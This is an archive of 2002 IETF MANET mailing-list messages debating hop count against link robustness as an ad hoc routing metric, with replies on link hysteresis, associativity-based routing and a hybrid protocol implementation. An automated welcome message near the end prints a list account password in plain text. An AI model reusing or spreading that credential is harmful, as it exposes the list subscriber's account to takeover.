Message-ID: <3C7AF45F.508A2F13@arc.corp.mot.com> Date: Tue, 26 Feb 2002 13:35:11 +1100 From: Kwan-Wu Chin Organization: Motorola Labs. Australia X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Fred Baker CC: manet@itd.nrl.navy.mil Subject: Re: RE : others cretaria in MANET routing protocol References: <001601c1bdcf$3c8edc80$100bce86@lifl.fr> <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> <001601c1bdcf$3c8edc80$100bce86@lifl.fr> <4.3.2.7.2.20020225171131.02427f88@mira-sjcm-2.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi All, Fred Baker wrote: > At 03:22 AM 2/25/2002, Dave Johnson wrote: > >one of our results was a new route caching strategy in which a sending > >node selects from its cache the route that it knows with minimum hop count > >to the destination, but among those with that same hop count, it selects > >the one that it believes will remain valid for the longest period of time, > >based on its past observations of links involving the nodes along that route. > > I'll argue that hop count in and of itself is a poor indicator. Consider > the following > > A--------------------->B > ---------->C---------> > > B and C can both hear A; C hears A with an excellent S/N Ratio and B hears > A with a poor signal to noise ratio, such that a small percentage of > packets (less than some threshold measured in percent) can actually > traverse A->B. I will argue that A->C->B is much kinder to the application > than A->B, so adding a hop creates a significantly improved route even > though the smaller hop count would be nice. > > It seems to me that hop count might be a tie-breaker amount routes of equal > robustness, not the other way around. I agree with this argument. We found this to be true on our testbed, especially in indoor environments where multipath fading is severe. We found that the link between A and B comes up and down frequently, causing routing protocols (based on hop count) to construct - deconstruct - construct ........ route continuosly over the link since A and B think they have a 1-hop route each other. When we add more nodes (i.e., topology with more unreliable links), we found that hop-based MANET routing protocols spend most of their time trying to establish a route and little packets get through. So, hop count is a poor metric, and we feel a combination of metrics such as link lifetimes (from radio and mobility perspectives), etc will be more suitable. cheers, kwan-wu From owner-manet@itd.nrl.navy.mil Tue Feb 26 07:54:25 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26926 for ; Tue, 26 Feb 2002 07:54:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA03643 for manet-outgoing; Tue, 26 Feb 2002 05:27:06 -0500 (EST) Received: from concorde.inria.fr (concorde.inria.fr [192.93.2.39]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA03638 for ; Tue, 26 Feb 2002 05:27:03 -0500 (EST) Received: from impression.inria.fr (impression.inria.fr [128.93.17.98]) by concorde.inria.fr (8.11.1/8.11.1) with SMTP id g1QAQqv18033; Tue, 26 Feb 2002 11:26:52 +0100 (MET) Received: by impression.inria.fr (sSMTP sendmail emulation); Tue, 26 Feb 2002 11:26:22 +0100 From: Laurent Viennot MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15483.25294.350980.905697@impression.inria.fr> Date: Tue, 26 Feb 2002 11:26:22 +0100 To: Kwan-Wu Chin Cc: Fred Baker , manet@itd.nrl.navy.mil Subject: Re: RE : others cretaria in MANET routing protocol In-Reply-To: <3C7AF45F.508A2F13@arc.corp.mot.com> References: <001601c1bdcf$3c8edc80$100bce86@lifl.fr> <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> <4.3.2.7.2.20020225171131.02427f88@mira-sjcm-2.cisco.com> <3C7AF45F.508A2F13@arc.corp.mot.com> X-Mailer: VM 6.92 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid Reply-To: Laurent.Viennot@inria.fr Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit This is where link hysteresis comes up. It allows to detect dangling links and to ignore them so that hop count becomes a rather good metric. See the advanced neighbor sensing section of OLSR draft for a short description of link hysteresis. laurent Kwan-Wu Chin writes: > Hi All, > > Fred Baker wrote: > > > At 03:22 AM 2/25/2002, Dave Johnson wrote: > > >one of our results was a new route caching strategy in which a sending > > >node selects from its cache the route that it knows with minimum hop count > > >to the destination, but among those with that same hop count, it selects > > >the one that it believes will remain valid for the longest period of time, > > >based on its past observations of links involving the nodes along that route. > > > > I'll argue that hop count in and of itself is a poor indicator. Consider > > the following > > > > A--------------------->B > > ---------->C---------> > > > > B and C can both hear A; C hears A with an excellent S/N Ratio and B hears > > A with a poor signal to noise ratio, such that a small percentage of > > packets (less than some threshold measured in percent) can actually > > traverse A->B. I will argue that A->C->B is much kinder to the application > > than A->B, so adding a hop creates a significantly improved route even > > though the smaller hop count would be nice. > > > > It seems to me that hop count might be a tie-breaker amount routes of equal > > robustness, not the other way around. > > I agree with this argument. We found this to be true on our testbed, > especially in indoor environments where multipath fading is severe. > We found that the link between A and B comes up and > down frequently, causing routing protocols (based on hop count) to > construct - deconstruct - construct ........ route continuosly over the link > since A and B think they have a 1-hop route each other. When we > add more nodes (i.e., topology with more unreliable links), we found that > hop-based > MANET routing protocols spend most of their time trying to establish a route and > little > packets get through. So, hop count is a poor metric, and we feel a combination > of > metrics such as link lifetimes (from radio and mobility perspectives), etc will be > more > suitable. > > cheers, > kwan-wu > From owner-manet@itd.nrl.navy.mil Tue Feb 26 10:01:33 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02255 for ; Tue, 26 Feb 2002 10:01:32 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA06358 for manet-outgoing; Tue, 26 Feb 2002 07:44:07 -0500 (EST) Received: from malonne.lifl.fr (malonne.lifl.fr [134.206.10.29]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA06350 for ; Tue, 26 Feb 2002 07:44:02 -0500 (EST) Received: from KRIEK (kriek.lifl.fr [134.206.11.16]) by malonne.lifl.fr (8.9.3/jtpda-5.3.3) with ESMTP id NAA05998 ; Tue, 26 Feb 2002 13:43:18 +0100 (MET) From: "David Simplot" To: "'Chai Keong Toh'" Cc: , Subject: RE : RE : others cretaria in MANET routing protocol Date: Tue, 26 Feb 2002 13:43:42 +0100 Organization: LIFL - RD2P Message-ID: <000f01c1bec3$38edc010$100bce86@lifl.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <35507.129.193.104.172.1014662759.squirrel@secure2.ece.gatech.edu> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id HAA06354 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Oupps, thank you: I have found the following reference CK. Toh. Associativity based routing for ad hoc mobile networks. Wireless Personal Communications Journal, Special Issue on Mobile Networking and Computing Systems, Vol 4. No. 2, pp. 103-139, March 1997. http://citeseer.nj.nec.com/495494.html Perhaps there are some updates in chapter 6 ? :-) Yours, David. > -----Message d'origine----- > De : Chai Keong Toh [mailto:Chai.Toh@ece.gatech.edu] > Envoyé : lundi 25 février 2002 19:46 > À : David.Simplot@lifl.fr > Cc : djamaleddine.meddour@rd.francetelecom.com; manet@itd.nrl.navy.mil > Objet : Re: RE : others cretaria in MANET routing protocol > > > David - This metric has already been defined by Associativity-Based > Routing back in 1994. It claims that ther is no point in having a mere > shortest hop routing if the route is unstable. It also defines a way > to capture and quantify link and route stability. If you need more > literatures, I would be happy to provide more. > > C.K. Toh > > ======== > > You are right: perhaps we can consider the "robustness" of the > > generated route... The definition of "robustness" could be the > > probability that the route stays valid during a given time without > > route maintenance. Notice that, in the general case, an > optimal route > > (number of hops) is not a robust one. > > David. > > -- > > David SIMPLOT > > CNRS UPRESA 8022 - LIFL Univ. Lille 1 / IUP MIAGE Formation Continue > > http://www.lifl.fr/~simplot > > > > > > > > -----Message d'origine----- > > De : owner-manet@itd.nrl.navy.mil > [mailto:owner-manet@itd.nrl.navy.mil] > > De la part de MEDDOUR > Djamal Eddine thesard FTRD/DAC/LAN > > Envoyé : mardi 19 février 2002 09:57 > > À : manet@itd.nrl.navy.mil > > Objet : others cretaria in MANET routing protocol > > > > > > Hi all > > > > The criteria of the choice of the optimal route is the > number of hops, > > do you think that it's sufficient? Why don't take in > consideration some > > other criteria like traffic load around node, node energy, node > > capacity, ... > > > > Any comments > From owner-manet@itd.nrl.navy.mil Tue Feb 26 10:26:34 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03265 for ; Tue, 26 Feb 2002 10:26:34 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id IAA07628 for manet-outgoing; Tue, 26 Feb 2002 08:19:01 -0500 (EST) Received: from malonne.lifl.fr (malonne.lifl.fr [134.206.10.29]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id IAA07620 for ; Tue, 26 Feb 2002 08:18:57 -0500 (EST) Received: from KRIEK (kriek.lifl.fr [134.206.11.16]) by malonne.lifl.fr (8.9.3/jtpda-5.3.3) with ESMTP id OAA06653 for ; Tue, 26 Feb 2002 14:18:56 +0100 (MET) From: "David Simplot" To: Subject: TR : RE : others cretaria in MANET routing protocol Date: Tue, 26 Feb 2002 14:19:20 +0100 Organization: LIFL - RD2P Message-ID: <001501c1bec8$3342b170$100bce86@lifl.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id IAA07621 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit It seems that this mail has been lost... > -----Message d'origine----- > De : David Simplot [mailto:David.Simplot@lifl.fr] > Envoyé : mardi 26 février 2002 13:44 > À : 'Chai Keong Toh' > Cc : 'djamaleddine.meddour@rd.francetelecom.com'; > 'manet@itd.nrl.navy.mil' > Objet : RE : RE : others cretaria in MANET routing protocol > > > Oupps, thank you: I have found the following reference > > CK. Toh. Associativity based routing for ad hoc mobile > networks. Wireless Personal Communications Journal, Special > Issue on Mobile Networking and Computing Systems, Vol 4. No. > 2, pp. 103-139, March 1997. > http://citeseer.nj.nec.com/495494.html > > Perhaps there are some updates in chapter 6 ? :-) > > Yours, > David. > > > -----Message d'origine----- > > De : Chai Keong Toh [mailto:Chai.Toh@ece.gatech.edu] > > Envoyé : lundi 25 février 2002 19:46 > > À : David.Simplot@lifl.fr > > Cc : djamaleddine.meddour@rd.francetelecom.com; > manet@itd.nrl.navy.mil > > Objet : Re: RE : others cretaria in MANET routing protocol > > > > > > David - This metric has already been defined by Associativity-Based > > Routing back in 1994. It claims that ther is no point in > having a mere > > shortest hop routing if the route is unstable. It also defines a way > > to capture and quantify link and route stability. If you need more > > literatures, I would be happy to provide more. > > > > C.K. Toh > > > > ======== > > > You are right: perhaps we can consider the "robustness" of the > > > generated route... The definition of "robustness" could be the > > > probability that the route stays valid during a given time without > > > route maintenance. Notice that, in the general case, an > > optimal route > > > (number of hops) is not a robust one. > > > David. > > > -- > > > David SIMPLOT > > > CNRS UPRESA 8022 - LIFL Univ. Lille 1 / IUP MIAGE > Formation Continue > > > http://www.lifl.fr/~simplot > > > > > > > > > > > > -----Message d'origine----- > > > De : owner-manet@itd.nrl.navy.mil > > [mailto:owner-manet@itd.nrl.navy.mil] > > > De la part de MEDDOUR > > Djamal Eddine thesard FTRD/DAC/LAN > > > Envoyé : mardi 19 février 2002 09:57 > > > À : manet@itd.nrl.navy.mil > > > Objet : others cretaria in MANET routing protocol > > > > > > > > > Hi all > > > > > > The criteria of the choice of the optimal route is the > > number of hops, > > > do you think that it's sufficient? Why don't take in > > consideration some > > > other criteria like traffic load around node, node energy, node > > > capacity, ... > > > > > > Any comments > > > From owner-manet@itd.nrl.navy.mil Wed Feb 27 12:36:45 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05195 for ; Wed, 27 Feb 2002 12:36:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id QAA29294 for manet-outgoing; Tue, 26 Feb 2002 16:28:43 -0500 (EST) Received: from motgate3.mot.com (motgate3.mot.com [144.189.100.103]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id QAA29289 for ; Tue, 26 Feb 2002 16:28:40 -0500 (EST) Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate3.mot.com (motgate3 2.1) with ESMTP id OAA06112; Tue, 26 Feb 2002 14:17:47 -0700 (MST)] Received: [from homer.arc.corp.mot.com (homer.arc.corp.mot.com [10.238.80.38]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id OAA15147; Tue, 26 Feb 2002 14:28:35 -0700 (MST)] Received: from arc.corp.mot.com (kwchin.arc.corp.mot.com [10.238.80.134]) by homer.arc.corp.mot.com (8.12.2/8.12.2) with ESMTP id g1QLSWrA015723; Wed, 27 Feb 2002 08:28:33 +1100 (EST) Message-ID: <3C7BFDFF.6013F1D7@arc.corp.mot.com> Date: Wed, 27 Feb 2002 08:28:31 +1100 From: Kwan-Wu Chin Organization: Motorola Labs. Australia X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Laurent.Viennot@inria.fr, manet@itd.nrl.navy.mil Subject: Re: RE : others cretaria in MANET routing protocol References: <001601c1bdcf$3c8edc80$100bce86@lifl.fr> <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> <4.3.2.7.2.20020225171131.02427f88@mira-sjcm-2.cisco.com> <3C7AF45F.508A2F13@arc.corp.mot.com> <15483.25294.350980.905697@impression.inria.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi laurent, Exactly. We ended up doing hysterisis as well, but in our implementation the routing protocol was oblivious to the existence of the hysterisis. I'll look at the indicated section in the OLSR draft, thanks for the info. cheers, kwan-wu Laurent Viennot wrote: > This is where link hysteresis comes up. It allows to detect dangling > links and to ignore them so that hop count becomes a rather good metric. > See the advanced neighbor sensing section of OLSR draft for a short > description of link hysteresis. > > laurent > > Kwan-Wu Chin writes: > > Hi All, > > > > Fred Baker wrote: > > > > > At 03:22 AM 2/25/2002, Dave Johnson wrote: > > > >one of our results was a new route caching strategy in which a sending > > > >node selects from its cache the route that it knows with minimum hop count > > > >to the destination, but among those with that same hop count, it selects > > > >the one that it believes will remain valid for the longest period of time, > > > >based on its past observations of links involving the nodes along that route. > > > > > > I'll argue that hop count in and of itself is a poor indicator. Consider > > > the following > > > > > > A--------------------->B > > > ---------->C---------> > > > > > > B and C can both hear A; C hears A with an excellent S/N Ratio and B hears > > > A with a poor signal to noise ratio, such that a small percentage of > > > packets (less than some threshold measured in percent) can actually > > > traverse A->B. I will argue that A->C->B is much kinder to the application > > > than A->B, so adding a hop creates a significantly improved route even > > > though the smaller hop count would be nice. > > > > > > It seems to me that hop count might be a tie-breaker amount routes of equal > > > robustness, not the other way around. > > > > I agree with this argument. We found this to be true on our testbed, > > especially in indoor environments where multipath fading is severe. > > We found that the link between A and B comes up and > > down frequently, causing routing protocols (based on hop count) to > > construct - deconstruct - construct ........ route continuosly over the link > > since A and B think they have a 1-hop route each other. When we > > add more nodes (i.e., topology with more unreliable links), we found that > > hop-based > > MANET routing protocols spend most of their time trying to establish a route and > > little > > packets get through. So, hop count is a poor metric, and we feel a combination > > of > > metrics such as link lifetimes (from radio and mobility perspectives), etc will be > > more > > suitable. > > > > cheers, > > kwan-wu > > From manet-admin@ietf.org Wed Feb 27 13:18:22 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07943 for ; Wed, 27 Feb 2002 13:18:22 -0500 (EST) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id NAA13914 for ; Wed, 27 Feb 2002 13:18:24 -0500 (EST) Date: Wed, 27 Feb 2002 13:18:24 -0500 (EST) Message-Id: <200202271818.NAA13914@optimus.ietf.org> From: manet-admin@ietf.org Subject: Welcome To "manet"! To: manet-archive@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Mobile Ad-hoc Networks Welcome to the manet@ietf.org mailing list! ********** Note Well All statements related to the activities of the IETF and addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants to the IETF and its participants certain licenses and rights in such statements. Such statements include verbal statements in IETF meetings, as well as written and electronic communications made at any time or place, which are addressed to - the IETF plenary session, - any IETF working group or portion thereof, - the IESG, or any member thereof on behalf of the IESG, - the IAB or any member thereof on behalf of the IAB, - any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, - the RFC Editor or the Internet-Drafts function Statements made outside of an IETF meeting, mailing list or other function, that are clearly not intended to be input to an IETF activity, group or function, are not subject to these provisions. ********* Welcome the manet mailing list. Please take a note of instructions providing for subscribing ad unsubscribing. Also, please use the list responsibly and keep postings focused on WG topics. To post to this list, send your email to: manet@ietf.org General information about the mailing list is at: https://www1.ietf.org/mailman/listinfo/manet If you ever want to unsubscribe or change your options (eg, switch to or from digest mode, change your password, etc.), visit your subscription page at: https://www1.ietf.org/mailman/options/manet/manet-archive@lists.ietf.org You can also make such adjustments via email by sending a message to: manet-request@ietf.org with the word `help' in the subject or body (don't include the quotes), and you will get back a message with instructions. You must know your password to change your options (including changing the password, itself) or to unsubscribe. It is: FtOz If you forget your password, don't worry, you will receive a monthly reminder telling you what all your ietf.org mailing list passwords are, and how to unsubscribe or change your options. There is also a button on your options page that will email your current password to you. You may also have your password mailed to you automatically off of the Web page noted above. From manet-admin@ietf.org Wed Feb 27 15:15:43 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15160 for ; Wed, 27 Feb 2002 15:15:43 -0500 (EST) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id OAA24067; Wed, 27 Feb 2002 14:44:45 -0500 (EST) Received: from ietf.org (odin [132.151.1.176]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id OAA24040 for ; Wed, 27 Feb 2002 14:44:42 -0500 (EST) Received: from smtp.web.de (smtp02.web.de [217.72.192.151]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13391 for ; Wed, 27 Feb 2002 14:44:37 -0500 (EST) Received: from [134.102.101.207] (helo=manet) by smtp.web.de with smtp (WEB.DE(Exim) 4.28 #21) id 16g9zm-0005Ig-00 for manet@ietf.org; Wed, 27 Feb 2002 20:44:10 +0100 Message-ID: <001201c1bfc7$6697b520$cf656686@vorstrasse.unibremen.de> From: "Michael Sessinghaus" To: Date: Wed, 27 Feb 2002 20:46:07 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000F_01C1BFCF.C80FD1E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [manet] (no subject) Sender: manet-admin@ietf.org Errors-To: manet-admin@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Mobile Ad-hoc Networks X-BeenThere: manet@ietf.org This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C1BFCF.C80FD1E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_000F_01C1BFCF.C80FD1E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

------=_NextPart_000_000F_01C1BFCF.C80FD1E0-- _______________________________________________ manet mailing list manet@ietf.org https://www1.ietf.org/mailman/listinfo/manet From manet-admin@ietf.org Wed Feb 27 18:29:43 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24185 for ; Wed, 27 Feb 2002 18:29:43 -0500 (EST) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id RAA06169; Wed, 27 Feb 2002 17:59:51 -0500 (EST) Received: from ietf.org (odin [132.151.1.176]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id RAA06135 for ; Wed, 27 Feb 2002 17:59:47 -0500 (EST) Received: from mail.scires.com (mail.scires.com [12.36.154.4]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23288 for ; Wed, 27 Feb 2002 17:59:42 -0500 (EST) Received: from SRCATL-MTA by mail.scires.com with Novell_GroupWise; Wed, 27 Feb 2002 18:01:30 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.0 Date: Wed, 27 Feb 2002 18:01:08 -0500 From: "Pete Sholander" To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by optimus.ietf.org id RAA06136 Subject: [manet] Re: WG Feedback requested Sender: manet-admin@ietf.org Errors-To: manet-admin@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Mobile Ad-hoc Networks X-BeenThere: manet@ietf.org Content-Transfer-Encoding: 8bit This is a belated reply to one of Scott Corson's postings from way back in January ... Scientific Research Corporation (SRC) has implemented a hybrid-routing protocol that is based on Cornell's ZRP, but has some differences. It currently runs on Red Hat (2.2 and 2.4 kernels) and Debian Linux (2.4 kernel). Supported hardware platforms are x86 and StrongARM. Other OS's and platforms are planned during 2002. That software has had two beta-testers to date. SRC may bring that protocol into the IETF after we finish coordinating with Dr. Haas and our various DoD sponsors (AFRL/IF, AFRL/MN and DARPA ATO mainly). The main goal might be standardizing the *framework* within which the reactive and proactive components communicate --- rather than the components themselves. As such, SRC is also interested in integrating with other vendors' (and/or colleges') proactive and reactive protocols. (We're currently also running the INRIA code for OLSR in our lab, but not as the proactive portion of our hybrid protocol.) In general, hybrid protocols do seem to interest SRC's U.S. DoD customers. So, IMHO the IETF should continue work on them. Your opinion/mileage may vary, of course :) Kind Regards, Pete Sholander Principal Engineer Scientific Research Corporation 2300 Windy Ridge Parkway, Suite 400S Atlanta, GA 30339 E: psholander@scires.com V: 770-989-9551 F: 770-859-9315 >>> Scott Corson 01/04/02 02:30PM >>> Folks, First off, welcome back from the holidays for those who took time off. The issue I'm raising was discussed at the SLC meeting and I want to raise it on the list. We are in the process of milestone revamping in the WG charter, and are looking to clarify the current scope of work. As mentioned at the meeting, a number of proposals seem best suited for highly scaled manet networks. The chairs suggest that the manet WG scope down the areas of near term work until reasonable progress is achieved. The rough idea is to concentrate on several items for near term work and progress. (1) reactive unicast protocol (2) proactive unicast protocol (3) flooding protocol work ---------------- The concerns regarding a number of the proposal(s) are: (1) primarily useful for scaling manets ..longer term scope issue (2) perceived lack of broad interest .. independent of WG scope Would anyone interested in *implementing* TORA, ZRP-related drafts and/or LANMAR please let me know? And I do not mean simulation. I would prefer that you respond to the list. I do not want to hear from document authors or parties working directly with authors. I am trying to gauge interest in these drafts as WG work items. Thanks, -Scott _______________________________________________ manet mailing list manet@ietf.org https://www1.ietf.org/mailman/listinfo/manet From daemon@optimus.ietf.org Wed Feb 27 18:29:43 2002 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24195 for ; Wed, 27 Feb 2002 18:29:43 -0500 (EST) Received: (from daemon@localhost) by optimus.ietf.org (8.9.1a/8.9.1) id SAA08217 for manet-archive@odin.ietf.org; Wed, 27 Feb 2002 18:29:47 -0500 (EST) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id RAA06169; Wed, 27 Feb 2002 17:59:51 -0500 (EST) Received: from ietf.org (odin [132.151.1.176]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id RAA06135 for ; Wed, 27 Feb 2002 17:59:47 -0500 (EST) Received: from mail.scires.com (mail.scires.com [12.36.154.4]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23288 for ; Wed, 27 Feb 2002 17:59:42 -0500 (EST) Received: from SRCATL-MTA by mail.scires.com with Novell_GroupWise; Wed, 27 Feb 2002 18:01:30 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.0 Date: Wed, 27 Feb 2002 18:01:08 -0500 From: "Pete Sholander" To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by optimus.ietf.org id RAA06136 Subject: [manet] Re: WG Feedback requested Sender: manet-admin@ietf.org Errors-To: manet-admin@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Mobile Ad-hoc Networks X-BeenThere: manet@ietf.org Content-Transfer-Encoding: 8bit This is a belated reply to one of Scott Corson's postings from way back in January ... Scientific Research Corporation (SRC) has implemented a hybrid-routing protocol that is based on Cornell's ZRP, but has some differences. It currently runs on Red Hat (2.2 and 2.4 kernels) and Debian Linux (2.4 kernel). Supported hardware platforms are x86 and StrongARM. Other OS's and platforms are planned during 2002. That software has had two beta-testers to date. SRC may bring that protocol into the IETF after we finish coordinating with Dr. Haas and our various DoD sponsors (AFRL/IF, AFRL/MN and DARPA ATO mainly). The main goal might be standardizing the *framework* within which the reactive and proactive components communicate --- rather than the components themselves. As such, SRC is also interested in integrating with other vendors' (and/or colleges') proactive and reactive protocols. (We're currently also running the INRIA code for OLSR in our lab, but not as the proactive portion of our hybrid protocol.) In general, hybrid protocols do seem to interest SRC's U.S. DoD customers. So, IMHO the IETF should continue work on them. Your opinion/mileage may vary, of course :) Kind Regards, Pete Sholander Principal Engineer Scientific Research Corporation 2300 Windy Ridge Parkway, Suite 400S Atlanta, GA 30339 E: psholander@scires.com V: 770-989-9551 F: 770-859-9315 >>> Scott Corson 01/04/02 02:30PM >>> Folks, First off, welcome back from the holidays for those who took time off. The issue I'm raising was discussed at the SLC meeting and I want to raise it on the list. We are in the process of milestone revamping in the WG charter, and are looking to clarify the current scope of work. As mentioned at the meeting, a number of proposals seem best suited for highly scaled manet networks. The chairs suggest that the manet WG scope down the areas of near term work until reasonable progress is achieved. The rough idea is to concentrate on several items for near term work and progress. (1) reactive unicast protocol (2) proactive unicast protocol (3) flooding protocol work ---------------- The concerns regarding a number of the proposal(s) are: (1) primarily useful for scaling manets ..longer term scope issue (2) perceived lack of broad interest .. independent of WG scope Would anyone interested in *implementing* TORA, ZRP-related drafts and/or LANMAR please let me know? And I do not mean simulation. I would prefer that you respond to the list. I do not want to hear from document authors or parties working directly with authors. I am trying to gauge interest in these drafts as WG work items. Thanks, -Scott _______________________________________________ manet mailing list manet@ietf.org https://www1.ietf.org/mailman/listinfo/manet From owner-manet@itd.nrl.navy.mil Wed Feb 27 18:30:25 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24246 for ; Wed, 27 Feb 2002 18:30:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id NAA00571 for manet-outgoing; Wed, 27 Feb 2002 13:27:01 -0500 (EST) Received: from SEXTANT.itd.nrl.navy.mil (sextant.itd.nrl.navy.mil [132.250.92.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id NAA00566 for ; Wed, 27 Feb 2002 13:26:58 -0500 (EST) Message-Id: <5.0.1.4.2.20020227133413.019ea280@pop.itd.nrl.navy.mil> X-Sender: macker@pop.itd.nrl.navy.mil X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Wed, 27 Feb 2002 13:36:37 -0500 To: manet@itd.nrl.navy.mil From: Joe Macker Subject: IMPORTANT: Mail list moving to ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk I have mass subscribed everyone from the manet@itd to manet@ietf.org. You should be receiving a subscription message for your account. -Joe